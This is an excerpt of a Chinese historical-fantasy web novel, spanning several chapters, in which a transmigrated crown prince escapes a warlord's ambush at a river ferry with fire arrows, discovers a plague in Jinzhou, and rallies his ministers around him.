《论亡国太子乱世苟活的可行性》全本免费阅读 安存德骑在骏马之上,远远看着坐在躺椅上的虞煜,突然放声大笑。 “三日不见,太子殿下风采依旧啊。” “不及府君。” 面对安存德阴阳怪气的挑衅虞煜其实没有太大感觉,在见多识广的他看来,安存德的挑衅顶多只有幼儿园的水准。 果然,他不冷不淡的回应,让安存德噎住了。 但骑马护卫在虞煜周围的属臣却不这么想,他们因安存德轻慢且不庄重的态度怒不可遏,再加上之前被此人做戏所骗,新仇旧恨涌上心头,纷纷出言喝骂。 随着他们的叫骂,安存德的脸色逐渐挂了下来。 啧,怎么还生气了呢。 虞煜在心中“啧”了一声,虽然早知安存德是一个既爱面子又没道德的人,但初次所见还是为他变脸的速度叹为观止。 他觉得以这个变脸的速度,很有学习川剧的天赋。 到底还是撞上了。 看着对方黑压压一片绝对在数量上碾压逐渐的人马,虞煜面上不显,心中却是半点不慌。 他知道安存德此刻的全部兵力大概在八万人左右,但就算是为了击杀他,对方也不能把整个州的兵力汇聚于此,在此处的,往多了算,也不会超过五万人。 很好,一万对五万,优势在己。 毕竟他还有着脂水这个在此刻已称不上秘密的秘密武器,脂水在操作和威力上虽不如火药来得方便,但在这个还以青铜武器为主的时代中,到底超越人们的固有认知。 火箭与脂水,就是他此战的破局关键。 这一战,不求胜利,只为生存。 这是他决定突袭历州渡之时就有考虑过的,但因安存德突然放弃原本将他困于历州进行围杀的计划,改为百里奔袭前往巨屏山截杀他,阴差阳错间反而让他的夜袭计划比预期的顺利了不少。 原本以为夜袭之初要先遭遇的大规模拼杀完全没有出现,在脂水的加持下,己方先行夺船的人未折一兵一卒就圆满完成了预定的任务,成功潜入了一部分战船中将其控制。 现在他只需考虑怎么带着大队人马冲破安存德的阻围堵,尽可能多的夺船离去。 看着被铁链缠绕相连依次停泊在渡口的船只,他在心里又悄悄的加了一条。 还要尽可能的多拖延一下时间,以便晏俭臣等人能解开这些缠绕的铁链,如若在铁链缠绕中贸然登船,很有可能被逆转当前的大好局势。 他可以以火攻之计夜袭历州渡,同样的,安存德也可以利用相同的方法来对付他们,铁链缠绕的木质战船一旦遭遇火攻,那才真的没有半点活路可言。 既然决定了既要又要,那么在战局的开端就要树立起能绝对碾压对方的优势。 原主是一个只会纸上谈兵的人,记忆中虽留有大片的兵书法册,但在此刻却派不上任何的用途,虞煜没有时间来从这些大段艰涩的文字中寻找合用的计法,而他本人也对古代的军事作战指挥一窍不通。 但没关系,行军打仗不是他的强项,但绝对不会是姜泽的短项。 安存德的阵营中,可没有什么数得上名号的将领,更遑论与姜泽相抗衡,耿麒已是他手下能数一数二的大将了,但在面对姜泽的时候完全不够看。 这也是他虽占据历州之地,却在逐鹿场上蹉跎岁月的原因。 至于名声太差,则又是另一个原因了。 每天奔波在寻找下一个投资人的路上,完全靠着一身精湛的演技将空手套白狼践行到底,以他人之物力,养己方之兵马。 搞投资,他是佼佼者。 但是打仗,他就不太行了。 后面更是被他那未曾蒙面的太子妃,姜泽的姐姐姜泠拉杂着几千人就杀了个对穿,从此退出了乱世逐鹿的大舞台。 书中的姜泽之所以会在这里受到重创,不过是因为军心溃散外加中计才被打了一个措手不及罢了。 尚且年轻还未经磨难的姜泽自然还没有日后的沉稳,偶尔还会有些许的跳脱。 但现在有了脂水的火力支持,再加上其本就不俗的领军调度能力,虽不奢望也能像姜泠那样把安存德杀个对穿,但从容离去却是极为可能的。 说起来,他们姐弟二人都有着极其非凡的军事才能,姜泠更的是天生的将才。 可惜她看不上原主,赐婚她和原主的皇帝一死,她就远离了上京不知所踪,原主死的时候更是半个面都没露。 书里也没有介绍她离开上京后去了哪里,对这位巾帼不让须眉的女将军的描写也只有奇袭历州为弟报仇这一个片段。 虞煜一边谋划,一边暗自感叹。 要知道他现在手中能打的也只有姜泽一人,其余两位副都尉虽不是平庸之辈,但也绝够不上名将之列。 这样看起来,他和安存德也相差不多,甚至对方的兵马还要比他多得多。 求贤若渴呀! 若是此刻能有姜泠的联系方式,虞煜写给她的第一封信该是,“回来吧姐姐,人成不成亲其实无所谓的,但我有大司马一职空闲等你,不知可有兴趣?” 当然这也只是他个人苦中作乐的玩笑之语,对于此时明显有避世之心的姜泠,他是绝不会擅自前去打扰的,毕竟每个人都有选择生活方式的自由。 除了他! 哎呀!好气呀! 这样想着,他又开始心梗了,但还是祝福那些可以选择自由的人吧,毕竟在即将到来的乱世之中,每个人都将活得十分艰难,既然环境的磨难已经足够摧折人了,那就让心灵多一些畅慰吧。 看着正被烈火焚烧的渡口,安存德脸色阴沉的扫视了虞煜一眼,犹如扫视一个即将离世的死人。 皇帝被诛杀的消息传来之后,他就起了自立为王的心思,但又怕贸然起兵损害他忠义的名声,只得暂时按兵不动。 没有想到最后竟然是龚守仁,给了他一个兴兵而起的契机。 毕竟这种敢冒天下之大不韪当众箭射君主的人,古未有之。 虽然此前皇帝被诛杀已开启了历史的先河,但诛杀皇帝的是由揭竿而起的百姓所组成的义军,这些人大多目光短浅,只图一时的激愤和意气,在逐鹿这条道上本就走不远。 而且永亨帝昏聩无能,早已不得民心。 但太子不一样,他在政治上虽没有建树,却一直都有宽厚仁和的好名声为百姓所传扬。 在此前百姓的日子还没有被逼迫到必须揭竿而起才有活命可 7. 第 7 章 《论亡国太子乱世苟活的可行性》全本免费阅读 随着渡口对峙危险气息的逐渐加深,战争就这样拉开了帷幕。 金戈铁马响彻了整个渡口。 凛冽的刀锋划破夜空,箭矢如雨倾盆而下,再一次将历州渡上燃烧的烈火推至高峰, 虞煜则早已离开了躺椅,正和傅泓共乘一骑,在甲士的护持下尾随在了玄甲军的最后面,远离了战场的交锋。 安存德的人马冲锋向前,却被玄甲军以火箭阻隔在了百米之外,也只能以弓箭还击。 这是虞煜第一次近距离观战,但也不得不为姜泽的突出的军事素养所折服。 仅凭着此前夜袭先锋行动中对火箭和脂水的小小运用,他就完美的掌控了以此作战的关键节奏。 两军交战的第一次拼杀交锋,玄甲军甚至不需要和安军近距离肉搏,他们只凭借着手中的弓弩,就让敌方难以寸进。 随着战事的持续,双方都有士兵不断倒下,但玄甲军的损耗,却远比安军要小得多。 不仅是因为玄甲军的盔甲远比安军更为强韧,最重要的是如今军队所配备的主流弓箭有效射程不到百米,而实战中命中的几率又会更低。 而姜泽也一直在有意识将双方距离控制在百米之外,以致对方射来的箭矢只有极少数命中玄甲军。 玄甲军所用的火箭却又与之不同,它们不以锐力伤人,无需瞄准和命中率,只需将它远远的射进敌军之中,凶猛的火焰就会开始蚕食敌人的生命,不断有士兵被点燃,惨叫着跳进江里。 江水覆盖全身,氧气的隔绝虽然让脂水不再燃烧,但已被烧伤跳下去寻求灭火的人,极少能再爬上来。 而自他们身上因水分离出去的脂水,已然飘浮在水面上持续燃烧。 眼见水面燃烧的脂水逐渐有点燃战船的可能性,姜泽加快了下达指令的速度,玄甲军与他的配合也在实战的磨练中变得亦发的默契,几乎达到了箭无虚发,指哪射哪的程度,完全阻隔了敌方任何突破火焰封锁的可能。 大部队在火箭的掩护下,逐渐向战船方向挪去。 此前潜入战船之中的晏俭臣等人,也趁乱加快了解开铁索的进度。 看着双方不断有人倒下,虞煜初次窥见了乱世的身影。 人若浮萍,命卑草芥,今夜他与安存德之间的交锋,不过是乱世之初微不足道的一角,但却如此惨烈,难以想象这样的战争将在这一个时空的无数角落上演,并整整持续二十余年。 “小姜都尉,好聪明呀。” 就在他胡乱感慨的时候,他听到身后的傅泓赞叹了一句,打断了他原本纷乱如麻思绪。 “啊?” 脑中积攒的情绪太多,让他一时之间无法思考,致使他在听见傅泓的话语后,只能发出一个短促的疑问音。 在他看不到的身后,傅泓朝天无声长叹了一下,才出言为他解释。 “殿下仔细看,在小姜都尉下达的指令之下,贼军已偏离了战船所在的位置,并已被他囿于一地。” 顺着他的指引,虞煜引颈而望,果然看到安存德人马在姜泽的火箭逼迫之下,一步步退出了渡口的核心位置,庞大的军队被火焰包饺子一般困在了渡口和官道的交接处。 “还真是。” 眼见突围有望,虞煜因残酷战争而凝重的心情有了些许的放松。 而其身后傅泓的眼神却更加晦暗不明,此前两日,他观太子的为人处世,原本以为这个一直没开窍的弟子终于开始聪明起来了,现今看来,还是和以前一样的过分仁慈,在生死厮杀的战场上,竟开始同情起了敌军的死亡。 思及此,又想到了他们将要前往的锦州,现下都不知是怎么一番情形,顿觉前途无亮,肩上的担子更为沉重了。 正集中精神观察战局的虞煜没有觉察到他的情绪变化,也不知他此刻内心的想法,不然他肯定要在心底为自己辩驳一番。 他一个来自和平年代的大好青年,一心一意的为人民服务,第一次直面这种惨烈的战争场面,有点适应不了不是很正常的反应吗? 他从出生到穿越前都没有见过有人死在跟前,来到这里不过短短三日不到,就亲眼所见了那么多的血腥,至今还没有崩溃都是靠着在基层锻炼出的强悍心理,已经很难得了。 至于为什么只在心底辩驳,自然是有不可明说的理由。 毕竟魂穿后还大张旗鼓暴露来历,从而吸引众多小弟的情节只会在点家的傲天文里出现,现实中敢这样操作,分分钟就会被信奉鬼神的古人当做邪祟一把火扬了。 乱世苟活虽艰难,但他是一直都是一个珍惜生命的人。 安存德都要快被这燃得快而扑不灭的火焰烦死了,原本他手握重兵,壮志满怀的想要围杀虞煜,甚至对此颇有信手拈来之感,却没想到出师未捷,反而被这些带着诡异火焰的箭矢逼得步步后退。 眼见己方军心逐渐有了动摇之迹,又见虞煜的大部队竟不知什么时候已逐渐摆向了战船停泊的地方,而船上用以缠绕的铁链也被人解开了大半,若不再突破火焰的封锁,只怕他就要眼睁睁的看着虞煜逃出生天了。 安存德当即下令盾兵集结,让其举盾牌为屏障,为大军从火墙中破开一条出路。 被点到的盾兵部队面如土色,他们手中的盾牌为求轻便,大多都以木材制造而成,以木抗火,无疑是死路一条,府君是打算让他们以命相填为大军开路,半点都不将他们的性命看在眼里。 但军令如山,违者必死,此时以盾抗火或许还有一线生机,如若违抗军令,只怕要当场落一个身首异处的下场。 盾兵们无法抵抗军令,只得按照安存德的指令,万念俱灰的举着木盾冲向火墙,火焰瞬间席卷了他们的身体,但随着他们不断倒地,竟然真的从火墙中辟开了一条通道,虽依旧有火在燃烧,但已经压到了能让人通行的高度。 “小子们,随我冲!” 看着如己所愿的破开了出路,虽然造成了一定的损伤,但安存德并不在意,在他看来,士兵死了还可以再行征募,如若太子跑了,那可就再难抓住了。 “他们在做什么!” 看着对方的士兵不断举着木盾冲入火海,之后随着火焰的燃烧翻滚死去,再一次震惊到了虞煜,他感觉嗓子一阵干哑,一时竟连说话都变得异常艰难。 怎么会有人,明知是死地还义无反顾,明明此刻他们才是要逃命的人,却因此种举动而显得前来追击的人马似乎才是真正命悬一线急需逃命的人。 何苦来哉。 “安存德这禽兽,竟让士兵以命开路!” 傅泓怒极而骂,与他同乘的虞煜都能感受到其因愤怒而颤抖的身体。 而围在他们周遭的士兵更是义愤填膺,虽然对方是敌军,但同为士兵,难免物悲其类。 “这贼子,来日必诛之!” 自和姜泽汇合后便将统军权还与其的裴安翊此 8. 第 8 章 《论亡国太子乱世苟活的可行性》全本免费阅读 巨川宽广,水波荡漾,有数十艘战船缓缓航行在江面上,船帆如云招展。 位于船队最前方的是一艘巨大的楼船,其形壮观,宽阔的甲板上足足建楼五层,如巨型堡垒般在水面前行。 正是虞煜一行。 横亘在历锦二州之间的巨川,水面广阔,是由大雍流域面积最广的两大水系交汇形成的巨型河流,最深处更是可达百米,其中水流湍急,再加上自东向西的流向,导致横渡的难度与风险直线飙升。 若非他们所乘坐的战船就是特意为横渡巨川而制造的,只怕还未行至半途就要被湍急的水流冲走。 但就算拥有精良船只的他们,一路疾行,也足足历时七日,才到达离锦州渡不远的水流平缓之处。 远远望去,烈日下的渡口安静异常,两岸是高耸陡峭的山崖,周遭零星散落着几处哨所和瞭望台,渡口之中只有几艘破败的斗舰以麻绳牵系着飘飘荡荡。 与历州渡的重兵把守截然不同的是,整个渡口荒芜人烟,就连哨所和瞭望台上都无人驻守,没有半分兵家重地之感,除了规模稍大之外,和荒村野渡毫无分别。 “怎么无人驻守?” 虞煜站在楼船之上,远眺锦州渡,对眼前所见的景象感到十分困惑。 船队虽已逐渐驶入了渡口的范围,但他却迟迟不敢下令停靠,生怕有人故布疑阵潜藏在侧。 跟随在他身后的群臣也是不解,虽说锦州是蛮荒之地,但在锦州渡这种天险之地,怎么也不该出现无人驻守的情况。 否则,一旦被南边的白濮人钻了空子,越山而来占据此地,岂不是成了他们进可横渡巨川直抵中原;退可虎踞天险谋夺锦州的战略要塞。 锦州渡和历州渡的职能是相同的,都是曾经为了抵御南边白濮国的侵袭而修建的,甚至在战略意义上,锦州渡远比历州渡来得重要,它是阻止白濮踏足中原的最重要的一道防线。 虽然后来随着大雍的日益强大,白濮不敢再踏足大雍的土地已有百年,锦州渡也逐渐丧失了最初修建的意图,彻底沦为客旅往来的周转之地。 即便如此,它也多少还算是一个举足轻重的地方,此刻无人驻守怎么看都不对劲。 “姜泽,孤记得你此前曾在此停留过,当时的锦州渡,也是这般景象吗?” 虞煜思忖着,突然从记忆中翻到了姜泽曾来过此地的记忆,当即出言询问。 “禀殿下,数月前我曾在追击水匪之后泊船于此,当时的锦州渡虽也称不上重兵把守,但还是有些许士卒驻守于此的……” 姜泽回忆了一下,将当日的情形细细的阐述给了虞煜。 “也就是说,你当初你抵达这里的时候除却驻守的士卒和过往的行人,还有黔首挑担贩卖于此。” 虞煜眉头微蹙,一边沉思一边用手指轻轻敲击着身前舷墙,听姜泽的描述,数月前这里还算热闹,那么此时又因何毫无人烟?就算因昨夜对岸的战斗而致来往的行人与黔首不敢踏足此地,那么驻守的军队又去了哪里?这种时候,不是更该加强守卫的吗? 虞煜在心底反复推算,皆不得其解,于是转身想要询问众人的意见,却见除武将依旧挺拔之外,文臣尽皆面色惨白,身形摇摇亦坠的在勉力支撑。 “这是怎么了?可是船上食物不洁所致?” 看着他们随时有可能跌倒断气的样子,虞煜吃了一惊,险些以为自己的船上被人投毒了。 “禀殿下,呕……” 傅泓年纪虽大,但此刻看起来却比其他文臣硬朗许多,见虞煜发问,抬手揖礼以作答,只是一张口话未说完,就急冲冲的跑到船边扶着舷墙呕吐不止。 虞煜目瞪口呆且不明所以,他还是第一次看到傅泓如此失态,从相处的这些时日来看,傅泓是一个虽然脾气有些暴躁但非常有偶像包袱的老头子。 平素十分注重自身所谓的名士仪态,就算在骂人的时候也是这样,在群臣议事时虞煜有幸见过他一边破口大骂一边风度飘逸的样子,不得不说那现场是十分的割裂。 而随着他的这个举动,其余文臣也再克制不住,甚至来不及告罪,就纷纷踉跄着奔到船侧狂呕,最离谱的是周围战船上的士卒也陆续有人加入了这个搜肠刮肚的行列。 虞煜此刻才后知后觉,他们这是晕船了。 这些属臣都是跟随着原主从上京而来的,虽不全是土生土长的上京人,但到底出自北方的中原地带,也难怪会接连晕船的情况。 虞煜伤后虚弱,又接连辗转颠簸而导致精神不佳,故行船这几日一直在自己的船舱中休息,除了姜泽偶尔来汇报行船情况外再未召见任何人,众人俱在自己舱内休息,因此虞煜对他们晕船与否并不太了解。 今日靠近锦州渡,虞煜才第一次召见群臣共聚船头准备商议入主锦州的相关事宜,没想到都被晕船放倒了一片。 听着江面之上呕声不断,担心情况再度加剧后出现人员昏迷,虞煜只得放弃斟酌,下令让船只先行靠岸,同时让姜泽安排尚有战力的将士,做好停船靠岸后遭遇突袭的抵御准备。 姜泽领命而去,不多时就安排好了备战工作。 整个船队在姜泽指挥下变换了队形,打头阵的不再是虞煜所乘坐的巨型楼船,满载士卒的战船将楼船团团围护在船队的最中央,而行动迅捷的斗舰则驶在船队的最前端,全面形成一个进可攻退可守的作战队形。 斗舰上的将士率先登上渡口,并迅速对其周遭情况进行勘察,确认并无危险后挥动旗帜,示意整个船队可以靠向渡口。 历时七天七夜,再一次脚踏实地,莫说此前晕船的众人,就连虞煜也生出了一种终于落地的莫名感慨。 就地休息调整片刻之后,虞煜终于有精神近距离的打探这个曾和历州渡齐名的没落渡口。 其外观和历州渡相比没有太大的区别,但它所用的石材却明显要比历州渡多的多,缺乏维护的它看起来要比历州渡陈旧许多,但是它的坚固性却半点不输给一年一小修,三年一大修的历州渡。 哨所和瞭望台周边隐约散落着一些秽污,看起来也不像长期无人废置的地方,结合此前姜泽所说,虞煜觉 9. 第 9 章 《论亡国太子乱世苟活的可行性》全本免费阅读 在等待巫医到来的时间里,虞煜已经在脑中把他所知的古代瘟疫尽皆回忆了一遍,发现就如今的医学发展水平而言,根本无法根治其中的任何一种瘟疫。 这是一个绝大多数人信巫不信医的时代,于是才有了巫医这种时代特有的职业,在以祝祷为主的基础上兼用一些药物辅助治疗,但这种以药入医的治疗方式并未形成主流。 毕竟和奇奇怪怪的汤水比起来,人们日常治病还是更倾向于寻找巫者跳神驱邪。 从原主的记忆来看,有着这种想法的不仅是底层的百姓黔首,就连身处上层的达官贵胄也是这个样子,整个时代里上至帝王,下至黎民,都在完美展现着小病靠抗大病靠命的稳定心理素质,没治好只会怪自己命不好。 也是这种上下一体崇尚巫鬼的作风,大大遏制了当代医疗水平的发展。 虞煜清楚的知道,瘟疫带来的灾难是无法估量的,若放任不理任其蔓延,在这种缺医少药的年代,不仅百姓要遭受灭顶之灾,就连他自己也无法独善其身,毕竟疫病面前,众生平等。 若此次锦州真有的瘟疫发生,就目前的医疗水平,那真的只有死路一条。 他必须要找到解决的办法,来挽救锦州这个他目前唯一的出路。 虞煜以前看过一些古代治疗瘟疫的药方,但他也很清楚用药的前提是确认病症和有药可用,随军在侧的巫医是这个时代里少有的能以药治病之人,还发明了麻药,能做小型简易的外科手术,这样的人留待后世盘点的时候,绝对是医学史上的大拿。 但就虞煜配合他治疗的这段时间里来看,他的医术甚至比不上一些中医学院的学生水准,因为他没有可供学习的前人,自己就身属医学界的开拓者,尚在摸索前行的阶段。 就以他的箭伤为喻,巫医用药消毒加熏疗,翻来覆去的也只有艾草、大蓟和苍术罢了。 可见现在已知能用的药材数量稀少,用法也很单一。 就算他把所有的药方默写出来,也未必能找到药材来入药。 等等,苍术! 苍术可是公认的防瘟要药,内外兼用,有驱除瘴疟和杀菌消毒等作用! 虞煜的眼神突然亮了起来,正好巫医一路赶来,正对上他闪闪发光的眼睛,下意识往后退去,却被一同前来的家令推着进了大帐。 “巫蕤,殿下正等着你呢。” 太子殿下的眼神,闪亮的让人有些害怕,好像饿了许久突然看到肉骨头的小狗。 “蕤拜见殿下,殿下万安。” 蕤是巫医的名字,但巫者无姓,皆以职业代称,所以都称其为巫蕤。 示意巫蕤起身后,虞煜原本有些激动的心情又归于沉重,现下锦州的情况若真是瘟疫的话,单凭一味苍术能起到的作用也不会很大,还需辅于其他药材才能真正防治瘟疫。 看着虞煜的眉头紧蹙,群臣面面相觑,他们并不知道此前呈上的竹简中写了什么,为什么太子殿下会如此的愤怒,又是丢掷竹简又是囚禁相关人员。 傅泓也不知虞煜在发什么脾气,但他觉得为君者不能如此的气量狭小,正打算出列劝说之际,却见巫蕤已拱手出列,生生的忍了一步。 要是虞煜知道群臣把他对或有瘟疫的焦灼当做愤怒,把对可能接触疫区的人员隔离看做囚禁,只怕要怄到喷血。 还好巫蕤的及时出招,打断了傅泓的技能蓄力,不然他今天怕是免不了血洒当场了。 巫蕤出列之后,也不绕弯子,而是单刀直入的询问虞煜。 “听说殿下将此前出去探查周边的士卒全部隔离了,可是因为他们发现了瘟疫?” 虞煜感叹了一句医者的敏锐度,正要答复他之时,就看到家令先是惊恐的向四周看了下,确认除了他们这几个臣子之外在没有其他人,帐门也是垂落遮掩着的,才收回目光狠狠的瞪了巫蕤一眼。 “你在乱讲什么,瘟疫这种事情也是能随便揣测的,一个不小心会捅破天的。” 虞煜才发现他此前只顾着召来巫蕤商讨,完全没有考虑谈话场所的安全性,虽然是在帐中,但保不齐就会有人窥帐探听,毕竟乱世中的无间道行业也是很发达的。 而当巫蕤话一出口傅泓就觉察到了不对,以眼神示意姜泽前去安排士卒为他们围出安全界限,防治此刻商议的的内容外泄,引起军中的恐慌。 看到傅泓迅速将各项保密工作落实到位,虞煜不由赞叹,果然姜还是老的辣。 而其余属臣已从刚刚的蹊跷中看到了事由,默默的向前一步缩小了他们与太子的对话圈子。 虞煜没想到自己只是暗自赞叹了一句傅泓,一抬头就感觉自己的空间缩小了一圈,群臣聚拢围坐过来,差点让他重温第二日苏醒时的噩梦。 其实身处帐中,倒也不必如此。 虞煜很想这么对他们说,但是看着众人尽皆严肃的神色,他默默的将这句话咽了回去。 “殿下,锦州真的有瘟疫吗?” 傅泓神情凝重的低声询问,其余臣子都紧张的看向他,等着他的回答。 也无怪他们的紧张,这个时代的瘟疫对人们而言,用灭顶之灾来形容都不为过,其所经之处,无不尸横遍野,十室九空,在瘟疫结束之后能够活下来的人,往往十存不一。 “尚且不清楚,只是据外出探查的士卒回报,锦州渡方圆二十里之内,沿途村庄皆无人烟,但有人员慌乱撤走的痕迹,时间大概是在半个月左右。” 虞煜将他知道的情况据实指陈。 “或许是因为其他的情况而撤走,不一定就和瘟疫有关吧。” 说话的是岑柘,他极擅长在事件中找漏洞,虞煜看了他一眼,接着说出自己知道的第二个信息。 “自渡口向西南方前行二十公里处,有一座城池,但城门紧闭,士卒看到其城楼之上悬挂着符箓。” 此言一出,围坐在他周围的群臣尽皆吸了一口凉气。 “悬符厌之……那必是瘟疫无误了……” 傅泓呐呐自语了一句,心底却无喜无悲,不是因为他心态平和,而是锦州存在瘟疫这个爆炸消息让他的思绪有了些微的短路。 他还记得大雍上一次发生瘟疫还是两年前的青州,当时身处上京虽未亲眼所见其惨境,但也有所耳闻,朝廷对此束手无策,只能下令将其一州围困,不得进出,而在为期五个月的 10. 第 10 章 《论亡国太子乱世苟活的可行性》全本免费阅读 “略有小成。” 巫蕤抬着下巴瞥了一眼神色各异的文臣武将,一副凡人这有什么好值得震惊的表情,语气中却十足骄傲的回复了虞煜的问题。 这傲娇的老哥哥啊,真不愧是时代里的尖端人才。 虞煜激动的一下子站了起来,随后又惊觉这个举动不符合他现在的身份,又若无其事的坐了回去。 还好他的伤口此时已经愈合得差不多了,不然仅凭这一个举动能把他疼得飞出天际。 锦州尚未明确的瘟疫或许与青州不同,但虞煜却觉得两者的差别应该不会太大,因为在如今这种人口流动性极小的时代,瘟疫的地域性是很明显的,锦州与青州虽隔着难以逾越的龙眠山脉,但两者也称得上是比邻而居。 甚至他有一种感觉,锦州暂未确定的瘟疫,很有可能和青州瘟疫同属一源,如果所料不差的话,那么他们或许可扭转整个锦州当前的局势。 “而且蕤觉得,锦州若真的遭遇了瘟疫,那么有极大的可能和青州的相差不会太多,只要能让蕤查看病人的症状,蕤就能确定他们是不是同出一源。” 被巫蕤再一次抢了台词的虞煜也不得不对他的观点叹为观止,不知道的,还以为巫蕤才是那个来自后世的人,这理念真的是超前时代太多了。 想鼓掌,但是虞煜忍住了。 “大疫猛如虎,唯恐避之不及,哪里还能上赶着去寻找患病的人研究,不妥不妥。” 群臣的意见却大多与此相悖,在听完巫蕤的话后纷纷摆手拒绝,表示此刻明哲保身才是正途。 “孤却认为蕤所说很有道理,如不能尽快确定锦州是否真的存有瘟疫,又或者不能确认是何种瘟疫,那么我们入主锦州的计划,很有可能就要付诸东流。” 眼看群臣讨论激烈,再放任下去只怕要提出放弃锦州另寻他地的建议了,虞煜及时开口,将众人的焦点拉回了自己身上。 看着虽故作平静但眼中难掩忧惧的众人,虞煜心底也泛起一阵心酸,他自然知道群臣因何反对巫蕤的提议,不过是因为己方已是大雍的最后一点星火,如不时刻谨慎,随时都有彻底覆灭的可能。 而瘟疫所带来的灾难又太过巨大,非人力可以消除,此时的他们,尚不足以抗下这样的天灾。 “那么,孤试问众卿,如果因瘟疫蔓延导致锦州人口锐减,那么我们将来就算入主了锦州,又有何用?更甚者,如若锦州瘟疫汹涌,以致整州之地再无立锥之地,那么我们又该去往何处?” 说着,目光从众人身上一一划过,最终在乔嘉麟的脸上定格了一瞬,又悄无声息的移开了。 “锦州若真有大疫,我们也当先行上报给朝廷,而不是……” 说话的是乔嘉麟,这个年轻人最大的特点就是说话冲动且不爱过脑子,话一出口,他也意识到了自己的口误,话音戛然而止。 但随着乔嘉麟的脱口而出,正好达到了虞煜所想要的效果。 虞煜一边在心里给他疯狂点赞一边暗自决定,以后绝不能安排他去太需要脑子的地方,真的太过单纯了,不适合任何拥有复杂性的工作。 他就是要让人来撕开这层一直掩隐着众人的遮羞布,把所有人或可能存在的自欺欺人彻底打碎。 所以他需要有一个人来大声的告诉其他人,大雍已经亡了。 而不太聪明的乔嘉麟,正好适合成为推动这一事项的绝佳人选。 在他的刻意引导下,对方果然圆满的完成了此项任务,且造成了拔群的效果。 悄然向下看去,果见众人一脸灰败之色,脸上交融的是豁然醒悟与不肯相信,纠结之心,溢于言表。 “可是上京的朝已被贼兵颠覆,我想请诸君,与我共赴这场经国之大业,匡扶社稷,再造江山!” 虞煜说罢,肃然起身,拱手对着下方的群臣一躬到地。 “殿下万万不可!” 身手敏捷的姜泽一个跨步来到他的身前,急急将他搀扶起身,慢了一步的傅泓悄悄收回了自己托举而出的手臂,神色莫测的看着此刻真挚诚恳的虞煜,心底涌上一丝疑惑。 从什么时候开始,他们的太子殿下,变得如此善谋人心了? “臣等既承君恩,自当与殿下祸福与共,言无不从!” 扶起了虞煜的姜泽跪地叩拜,行稽首之礼。 “臣等愿与陛下祸福与共,效犬马之劳,万死而不辞!” 看着姜泽跪下,其余被虞煜方才举动所震惊的臣子也尽皆反应过来,纷纷跪地稽首。 稽首礼,为“九拜”之首,也是所有跪拜礼中最隆重的一种,向来为天子所专。 群臣以此为礼,既表了忠心又表了决心,也意味着从这一刻开始,他们将虞煜放到了天子的位置上。 虞煜看着跪倒一地,群情鼎沸的众人,暗自苦笑,他刚才的举动确实是为了逼迫群臣表态而刻意为之,只是没有想到效果那么好,直接被人架在了天子的位置上。 只怕要不了多久这些人就会惦记着“以日代月”,让他宣布登基为帝了。 说起来,他这也算搬起石头砸自己的脚,明明他一直想的战略方针都是“高筑墙,广积粮,缓称王”,这也是明朝朱元璋创业时期的战略方针,虞煜觉得很适合现在势单力薄的自己。 再加上现今局势混乱,锦州的形势也不明朗,正是状况百出之际,并不是一个适合称帝的时机,所以为了避免成为先出头的椽子,他打算先积蓄力量,后发制人。 想到这,他暗暗的瞪了一眼姜泽,如果没记错的话,就是这小子带的头。 然而姜泽一心一意的看着地毯上的花纹,没有回应他半点眼风。 姜泽当然知道虞煜在瞪他,所以根本不抬头,完全不给虞煜任何谴责他的机会。 因为他觉得今天这一幕在得知先帝死亡之后就早该上演了,先帝死后太子就是大雍的唯一主人,也不知道这些人一直犹犹豫豫的存了什么心思,国不可一日无君,早日为殿下定下天子的名分,才更有利于军中人心的凝聚。 而且太子一直都优柔寡断,若无人推上一把,只怕不知道要蹉跎到几时才能下定登基这个决心。 还好虞煜和其他人都听不到他的心声,不然他肯定会被一人一口唾沫淹死。 群臣会骂他我们只是谨小慎微了些,怎么到你这里就变成犹豫不定了;虞煜则表示,优柔寡断的是原主,现在的他只是喜欢谋定而后动罢了。 被架在火上烤的虞煜微微吐气舒缓了一下心情,又挂上和熙的微笑示意群臣起身,只要能先君臣一 11. 第 11 章 《论亡国太子乱世苟活的可行性》全本免费阅读 锦州渡前的荒野上,安静的矗立着一座营盘,在晨露未晞时分,营帐迎着雾气一字排开,布置得整整齐齐,居中处一面赤黄旗帜飘扬,上书一个大大的“虞”字。 天色尚未大亮,将士们已披挂整齐,分组列队,准备外出执行任务。 虞煜站在营中的瞭望台上,无言的看着分头离去的士卒,心中却满是忧虑。 怅然了片刻之后,就转身下楼回转了自己的营帐。 他们在此驻扎已有十日有余,除了找到一些勉强可用的药材之外,暂别无他获,目前对锦州的情况依旧是知之甚少。 然而随着探查范围的扩大,外出查探的士卒们都陆续发现了一些伏地而死并已开始腐烂的尸体。 还好将士都严格遵守了虞煜新下达的瘟疫防治令,凡有外出,俱以布巾遮面,处理尸体时也从不赤手接触,加上营中每日焚烧药烟和巫蕤的特制药囊加持,军中暂未出现染病的情况,士卒们的情绪也从最初的惶恐不安到如今的得心应手,已将周遭发现的尸体处理干净,并在这些区域内大量焚烧艾草,抑制瘟疫的卷土重来。 虽然艾草焚烧防瘟效果不如苍术,但图的就是一个量大管饱,毕竟虞煜也没有办法在短时间内寻找到那么多的苍术,而艾草此类,锦州却遍地都是,刚好就地取材。 经巫蕤查验后其死状和两年前青州染病死亡的一模一样,从而确定了锦州的瘟疫与青州同出一源。 这一发现振奋人心,虽然目前因药材不全无法配制出巫蕤所研制的药品,也无处可寻染病人员检验药方的功效,但只要和锦州的府衙取得联系,虞煜相信这些问题都会迎刃而解。 因为巫蕤药方之中所需药材尽是常见之物,并不要什么名贵药材来调配辅助。 锦州气候温润,水泽丰富,又是草盛林茂之地,要寻到所用药材并不是什么难事,他们目前无法将药材配齐,不过是因为被西南二十里外城门紧闭的古渡郡所隔断,无法去往其他区域寻药。 虞煜初见药方之时还震惊了一下,但将其与自己脑中的一些瘟疫治疗古方加以比对之后,还真有发现了与其十分相似的药方存在,这让他对巫蕤的评价直接原地飞升,神医竟在他手下,感觉在瘟疫横行的乱世中又多了一层保障。 甚好甚好! 所以在确定了瘟疫类型之后,虞煜特意派遣了裴安翊带领一队士卒前往古渡郡送信,联络当地官宦共克时疫。 然而郡城中人对此并不买账,甚至在裴安翊亮出太子名头之时,也依旧城门紧闭,毫无回应。 若不是念及虞煜想要以仁主的姿态入主锦州,依着裴安翊的暴躁脾气,当即就想让城楼甲士知道马王爷到底有几只眼,但为了主君的宏图大业,他还是克制住了自己,一箭将虞煜的书信射到了城门之上,他就带着士卒扬长离去,至于虞煜安排他送与郡城的药材,他以没见到人为由,更是原封不动的拉了回来。 听了他的回禀,虞煜无言以对,不知要怎么评价他的所作所为。 